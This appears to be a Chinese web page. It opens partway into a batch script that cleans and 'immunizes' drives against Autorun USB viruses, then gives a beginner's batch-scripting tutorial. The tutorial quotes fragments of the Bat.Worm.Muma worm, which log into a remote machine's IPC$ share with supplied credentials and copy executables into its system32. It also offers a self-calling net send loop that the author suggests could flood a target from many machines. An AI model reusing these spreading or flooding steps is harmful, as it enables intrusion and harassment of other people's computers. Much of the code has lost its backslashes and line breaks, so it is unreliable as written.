Echo [5] 删除并免疫指定盘符的 Autorun 病毒

Echo [6] 取消免疫指定盘符

Echo [7] 恢复相关注册表项默认值

Echo [0] 退出

Echo.

Set /p clearslt= 请输入您的选择(1/2/3/4/5/6/7/0):

If "%clearslt%"=="" Goto clearauto

If "%clearslt%"=="1" Goto clearauto1

If "%clearslt%"=="2" Goto clearauto2

If "%clearslt%"=="3" Goto clearauto3

If "%clearslt%"=="4" Goto clearauto4

If "%clearslt%"=="5" Goto clearauto5

If "%clearslt%"=="6" Goto clearauto6

If "%clearslt%"=="7" Goto clearauto7

If "%clearslt%"=="0" Exit



:clearauto1

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nul

Del /a /f /q %%a:autorun.inf >nul 2>nul

) >nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nul

Del /a /f /q %%a:autorun.inf >nul 2>nul

) >nul 2>nul

)

cls

Echo Autorun 病毒清除完毕,任意键返回……

pause>nul

Goto clearauto



:clearauto2

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b免疫目录不要删除!..." & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %%a:autorun.inf & md "%%a:autorun.inf免疫目录不要删除!..." & attrib +s +h +r %%a:autorun.inf & Echo Y|cacls "%%a:autorun.inf" /T /C /P everyone:N >nul 2>nul

) >nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%b In (%%a:autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b免疫目录不要删除!..." & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %%a:autorun.inf & md "%%a:autorun.inf免疫目录不要删除!..." & attrib +s +h +r %%a:autorun.inf & Echo Y|cacls "%%a:autorun.inf" /T /C /P everyone:N >nul 2>nul

) >nul 2>nul

)

cls

Echo Autorun 病毒清除并免疫完毕,任意键返回……

pause>nul

Goto clearauto



:clearauto3

cls

Echo.

Echo 正在停止相关服务……

Echo.

reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nul

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nul

net stop ShellHWDetection >nul 2>nul

sc config ShellHWDetection start= disabled >nul 2>nul

Rem 添加防止从回收站或仿回收站的目录中直接运行可执行文件的策略

Set REGPATH=HKLMSOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiersPaths

Set SFLAG=/v SaferFlags /t REG_DWORD /d 0x00000000 /f

Set IDATA=/f /v ItemData /d "?:Recyc?

reg add %REGPATH%{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %SFLAG%>nul

reg add %REGPATH%{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %IDATA%****.*">nul


reg add %REGPATH%{41fe7eed-c47a-46f6-840a-240796fd03cf} %SFLAG%>nul

reg add %REGPATH%{41fe7eed-c47a-46f6-840a-240796fd03cf} %IDATA%***.*">nul


reg add %REGPATH%{4e93c91c-a40e-462e-9b89-3b0832d222d9} %SFLAG%>nul

reg add %REGPATH%{4e93c91c-a40e-462e-9b89-3b0832d222d9} %IDATA%*.*">nul


reg add %REGPATH%{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %SFLAG%>nul

reg add %REGPATH%{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %IDATA%****.*">nul


reg add %REGPATH%{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %SFLAG%>nul

reg add %REGPATH%{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %IDATA%*.*">nul


reg add %REGPATH%{5f8ff865-0638-4c6e-98de-923e7bc6b330} %SFLAG%>nul

reg add %REGPATH%{5f8ff865-0638-4c6e-98de-923e7bc6b330} %IDATA%***.*">nul


reg add %REGPATH%{649c1429-0e79-453c-abe9-b5682e035ae7} %SFLAG%>nul

reg add %REGPATH%{649c1429-0e79-453c-abe9-b5682e035ae7} %IDATA%**.*">nul


reg add %REGPATH%{718f54b2-c669-4d7b-aeff-18d69f100034} %SFLAG%>nul

reg add %REGPATH%{718f54b2-c669-4d7b-aeff-18d69f100034} %IDATA%**.*">nul


reg add %REGPATH%{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %SFLAG%>nul

reg add %REGPATH%{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %IDATA%*.*">nul


reg add %REGPATH%{af2a4fcf-441c-421e-9663-52cd3502cfd7} %SFLAG%>nul

reg add %REGPATH%{af2a4fcf-441c-421e-9663-52cd3502cfd7} %IDATA%***.*">nul


reg add %REGPATH%{b997f4b2-c037-4e97-b051-31f5d86df802} %SFLAG%>nul

reg add %REGPATH%{b997f4b2-c037-4e97-b051-31f5d86df802} %IDATA%**.*">nul


reg add %REGPATH%{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} %SFLAG%>nul

reg add %REGPATH%{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} /f /v ItemData /d "RECYC*.*">nul


Rem 清除喜欢利用回收站的移动磁盘自动运行病毒

For %%a In (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) Do (

For %%b In (exe pif com) Do (

Echo Y|cacls "%%a:Recycler*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:Recycled*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:RecycledRecycled*.%%b" /C /T /P everyone:F>nul 2>nul

Del /A /F /S /Q "%%a:Recycler*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:Recycled*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:RecycledRecycled*.%%b">nul 2>nul

)

)>nul 2>nul

Echo.

Echo 相关服务已停止并禁用,任意键返回……

pause >nul

Goto clearauto



:clearauto4

For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (

fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (

cacls "%%a:autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:autorun.inf" & rd /s /q "%%a:autorun.inf">nul 2>nul

)>nul 2>nul

fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (

cacls "%%a:autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:autorun.inf" & rd /s /q "%%a:autorun.inf">nul 2>nul

)>nul 2>nul

)

cls

Echo.

Echo 已经解除全部盘符的免疫,任意键返回……

pause>nul

Goto clearauto




:clearauto5

cls

Echo.

Set /p pf= 请输入盘符,如"F:"(不包括引号)

Echo 即将免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将免疫%pf%盘……

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (

For /f "tokens=2 delims==" %%a In (%pf%autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a免疫目录不要删除!..." & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %pf%autorun.inf & md "%pf%autorun.inf免疫目录不要删除!..." & attrib +s +h +r %pf%autorun.inf & Echo Y|cacls "%pf%autorun.inf" /T /C /P everyone:N >nul 2>nul

Goto DoneclearAuto

) >nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (

For /f "tokens=2 delims==" %%a In (%pf%autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a免疫目录不要删除!..." & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nul

Del /a /f /q %pf%autorun.inf & md "%pf%autorun.inf免疫目录不要删除!..." & attrib +s +h +r %pf%autorun.inf & Echo Y|cacls "%pf%autorun.inf" /T /C /P everyone:N >nul 2>nul

Goto DoneclearAuto

) >nul 2>nul

Echo.

Echo 您所输入的盘符不存在或者是只读设备,

Echo 请重新输入

Goto clearauto5


:DoneclearAuto

cls

Echo.

Echo 指定的磁盘 %pf% 已经成功进行了 Autorun 病毒的清除及免疫

Echo.

Echo [1] 继续免疫其他磁盘

Echo [0] 返回主菜单

Set /p choice= 请输入您的选择(1/0):

If %choice%="" Goto DoneclearAuto

If %choice%="1" Goto clearauto5

If %choice%="0" Goto clearauto




:clearauto6

cls

Echo.

Set /p pf= 请输入盘符,如"F:"(不包括引号)

Echo 即将取消免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将取消免疫%pf%盘……

fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (

cacls "%pf%autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%autorun.inf" & rd /s /q "%pf%autorun.inf">nul 2>nul

Goto DoneUnauto

)>nul 2>nul

fsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (

cacls "%pf%autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%autorun.inf" & rd /s /q "%pf%autorun.inf">nul 2>nul

Goto DoneUnauto

)>nul 2>nul

Echo.

Echo 您所输入的盘符不存在或者是只读设备,

Echo 请重新输入

Goto clearauto6


:DoneUnauto

cls

Echo.

Echo 指定的磁盘 %pf% 已经成功解除了 Autorun 病毒免疫

Echo.

Echo [1] 继续解除免疫其他磁盘

Echo [0] 返回主菜单

Set choice=

Set /p choice= 请输入您的选择(1/0):

If %choice%="" Goto DoneUnauto

If %choice%="1" Goto clearauto6

If %choice%="0" Goto clearauto




:clearauto7

cls

Rem 防止在资源管理器中彻底隐藏文件、禁止文件等

reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t REG_DWORD /d 0x00000001 /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2" /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun" /f>nul 2>nul

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v DisallowRun /f>nul 2>nul

Rem 防止转移启动组位置

reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders" /v Startup /d "%USERPROFILE%「开始」菜单程序启动" /f>nul 2>nul

reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders" /v "Common Startup" /d "%ALLUSERSPROFILE%「开始」菜单程序启动" /f>nul 2>nul

Echo.

Echo 相关注册表恢复完毕,任意键返回……

pause>nul

Goto clearauto


这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。


按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为 BATCH ,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就 ok 了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是 DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS 基础一定要牢!当然脑子灵活也是很重要的一方面。

例一

先给出一个最 easy 的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为 name.bat 然后执行(以后文中只给出代码,保存和执行方式类似):

ping sz.tencent.com > a.txtping sz1.tencent.com >> a.txtping sz2.tencent.com >> a.txtping sz3.tencent.com >> a.txtping sz4.tencent.com >> a.txtping sz5.tencent.com >> a.txtping sz6.tencent.com >> a.txtping sz7.tencent.com >> a.txtexit


执行这个批处理后,可以在你的当前盘建立一个名为`a.txt`的文件,它里面记录的信息可以帮助你迅速找到速度最快的 QQ 服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,

是把前面命令得到的东西放到后面所给的地方,`>>`的作用,和`>`的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个`a.txt`文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器 IP,是不是很爽?后面还将详细介绍。

例二

再给出一个已经过时的例子(`a.bat`):

@echo offif exist C:Progra~1TencentAD.gif del C:Progra~1TencentAD.gifa.bat

为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的 QQ 了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除 QQ 的广告,让对话框干干净净。这里用的地址是 QQ 的默认安装地址,默认批处理文件名为`a.bat`,你当然可以根据情况自行修改。在这个脚本中使用了 if 命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的 DOS 窗口,不按 `CTRL+C` 强行终止命令,它就一直监视是否有广告图片( QQ 也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

例三

使用批处理脚本查是否中冰河。脚本内容如下:

@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit

这里利用了`netstat`命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令`&&`和管道命令`|`,后面将详细介绍。

例四

借批处理自动清除系统垃圾,脚本如下:

@echo offif exist c:windows	emp. del c:windows	emp.if exist c:windowsTempor~1. del c:windowsTempor~1.if exist c:windowsHistory. del c:windowsHistory.if exist c:windows
ecent. del c:windows
ecent.

将以上脚本内容保存到`autoexec.bat`里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS 不支持长文件名,所以就出现了`Tempor~1`这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。



看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!


批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的`Bad command or fail name`。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是`Bad command or fail name`,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。


从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见 DOS 命令在批处理脚本中有这广泛的应用,它们是批处理脚本的 BODY 部分,但批处理比 DOS 更灵活多样,更具备自动化。要学好批处理,DOS 一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的 DOS 命令,常用命令如 COPY、DIR 等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。


例五

先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

@echo off::close echocls::clean screenecho This programme is to make the MASM programme automate::display infoecho Edit by CODERED::display infoecho Mailto me : qqkiller@sina.com::display infoif "%1"=="" goto usage::if input without paramater goto usageif "%1"=="/?" goto usage::if paramater is "/?" goto usageif "%1"=="help" goto usage::if paramater is "help" goto usagepause::pause to see usagemasm %1.asm::assemble the .asm codeif errorlevel 1 pause & edit %1.asm::if error pause to see error msg and edit the codelink %1.obj & %1::else link the .obj file and execute the .exe file:usage::set usageecho Usage: This BAT file name [asm file name]echo Default BAT file name is START.BAT::display usage

先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!


在这个脚本中出现了如下几个命令:`@`、`echo`、`::`、`pause`、`:`和`goto`、`%`以及`if`。而这一章就将讲述这几个命令。


1、@

这个符号大家都不陌生,`email` 的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的`@echo off`中,`@`的作用就是让脚本在执行时不显示后面的`echo off`部分。这下懂了吧?还是不太懂?没关系,看完`echo`命令简介,自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了`echo on`和`echo off`两个命令了。直接执行`echo`命令将显示当前`echo`命令状态(`off`或`on`)执行`echo off`将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行`echo on`命令。在例五中,首行的`@`命令和`echo off`命令联合起来,达到了两个目的:不显示`echo off`命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

`echo`命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,`Default BAT file name is START.BAT`将在脚本执行后的窗口中显示,而`echo`命令本身不显示(为什么??)。

`echo`命令的另一种用法二:可以直接编辑文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.batecho nbtstat -A 192.168.0.2 >> a.batecho nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个`a.bat`的文件,直接执行就会得到结果。

 3、::

这个命令的作用很简单,它是注释命令,在批处理脚本中和`rem`命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的`/…………/`类似。地球人都能看懂,就不多说了。

4、pause

中文为“暂停”的意思(看看你的`workman`上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是`masm`程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、`:`和`goto`

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。`goto`是个跳转命令,`:`是一个标签。当程序运行到`goto`时,将自动跳转到`:`定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个`:`,则程序在运行到`goto`时就自动跳转到:标签定义的部分执行,结果是显示脚本`usage`(usage就是标签名称)。不难看出,`goto`命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。`goto`命令也经常和`if`命令结合使用。至于这两个命令具体用法,参照例五。

`goto`命令的另一种用法一:提前结束程序。在程序中间使用`goto`命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……goto end……:end


这里`:end`在脚本最后一行!其实这个例子很弱智,后面讲了`if`命令和组合命令你就知道了。

 6、%

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use \%1ipc$ %3 /u:"%2"copy 11.BAT \%1admin$system32 /ycopy 13.BAT \%1admin$system32 /ycopy ipc2.BAT \%1admin$system32 /ycopy NWZI.EXE \%1admin$system32 /yattrib \%1admin$system3210.bat -r -h -s

以上代码是 Bat.Worm.Muma 病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

7、if

接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧:


if "%1"=="" goto usageif "%1"=="/?" goto usageif "%1"=="help" goto usage

这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句:

if exist C:Progra~1TencentAD.gif del C:Progra~1TencentAD.gif

如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:Progra~1TencentAD.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

masm %1.asmif errorlevel 1 pause & edit %1.asmlink %1.obj

先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:

masm %1.asmif not errorlevel 1 link %1.objpause & edit %1.asm

看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

masm %1.asmif exist %1.obj link %1.objelse pause & edit %1.asm

关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。


IF [NOT] ERRORLEVEL number do commandIF [NOT] string1==string2 do commandIF [NOT] EXIST filename do command

8、call

学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):


start.bat:……CALL 10.BAT 0……10.bat:……ECHO %IPA%.%1 >HFIND.TMP……CALL ipc.bat IPCFind.txtipc.bat:for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。

那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

net send %1 This is a call example.call a.bat

这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

call a.bat

一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

